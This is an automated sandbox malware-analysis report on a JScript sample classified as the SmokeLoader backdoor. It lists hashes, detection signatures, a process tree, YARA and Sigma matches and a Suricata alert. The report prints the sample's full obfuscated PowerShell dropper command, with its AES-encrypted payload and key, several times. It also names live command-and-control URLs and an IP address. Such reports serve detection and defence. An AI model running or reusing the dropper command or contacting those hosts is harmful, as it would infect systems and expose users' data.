Edit tour

Windows Analysis Report
#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js

Overview

General Information

Sample name:	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js renamed because original name is a hash value
Original sample name:	i ii.js
Analysis ID:	1577217
MD5:	f0f21a53585ee70adbe6004636da53f4
SHA1:	8123ab7729d5c1a339af4e5f6c93b68e1acdfaf4
SHA256:	292bda20c71cc52f49c84f40160d5747ed2c6ab24ce7a027d2808888438b93a6
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1548 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 2828 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 5936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7264 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,13204339744682655866,10890177265779677323,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

putty.exe (PID: 6068 cmdline: "C:\Users\user\AppData\Roaming\putty.exe" MD5: C09AA26230A2083DA9032866FD33703D)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

svchost.exe (PID: 3536 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sarbjfc (PID: 7848 cmdline: C:\Users\user\AppData\Roaming\sarbjfc MD5: C09AA26230A2083DA9032866FD33703D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.2570826451.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000010.00000002.2570475895.0000000000540000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11d89:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000003.2518973647.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000003.2236336367.0000000000550000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11d89:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: powershell.exe PID: 2828	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x253618:$b1: ::WriteAllBytes( 0x253c8f:$b1: ::WriteAllBytes( 0x12c0e:$s1: -join 0x2a9b0:$s1: -join 0x3eee7:$s1: -join 0x4bfbc:$s1: -join 0x4f38e:$s1: -join 0x4fa40:$s1: -join 0x51531:$s1: -join 0x53737:$s1: -join 0x53f5e:$s1: -join 0x547ce:$s1: -join 0x54f09:$s1: -join 0x54f3b:$s1: -join 0x54f83:$s1: -join 0x54fa2:$s1: -join 0x557f2:$s1: -join 0x5596e:$s1: -join 0x559e6:$s1: -join 0x55a79:$s1: -join 0x55cdf:$s1: -join
Process Memory Space: explorer.exe PID: 4004	ironshell_php	Semi-Auto-generated - file ironshell.php.txt	Neo23x0 Yara BRG + customization by Stefan -dfate- Molls	0x2012d2:$s2: ~ Shell I
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
5.3.putty.exe.550000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.sarbjfc.5d0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
5.2.putty.exe.4f0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.3.sarbjfc.5e0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
5.2.putty.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.sarbjfc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js", ProcessId: 1548, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA4

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\sarbjfc, CommandLine: C:\Users\user\AppData\Roaming\sarbjfc, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\sarbjfc, NewProcessName: C:\Users\user\AppData\Roaming\sarbjfc, OriginalFileName: C:\Users\user\AppData\Roaming\sarbjfc, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: C:\Users\user\AppData\Roaming\sarbjfc, ProcessId: 7848, ProcessName: sarbjfc

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2828, TargetFilename: C:\Users\user\AppData\Roaming\putty.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js", ProcessId: 1548, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA4

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA4

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3536, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:24:20.907909+0100	2039103	1	A Network Trojan was detected	192.168.2.6	49793	94.156.177.51	80	TCP
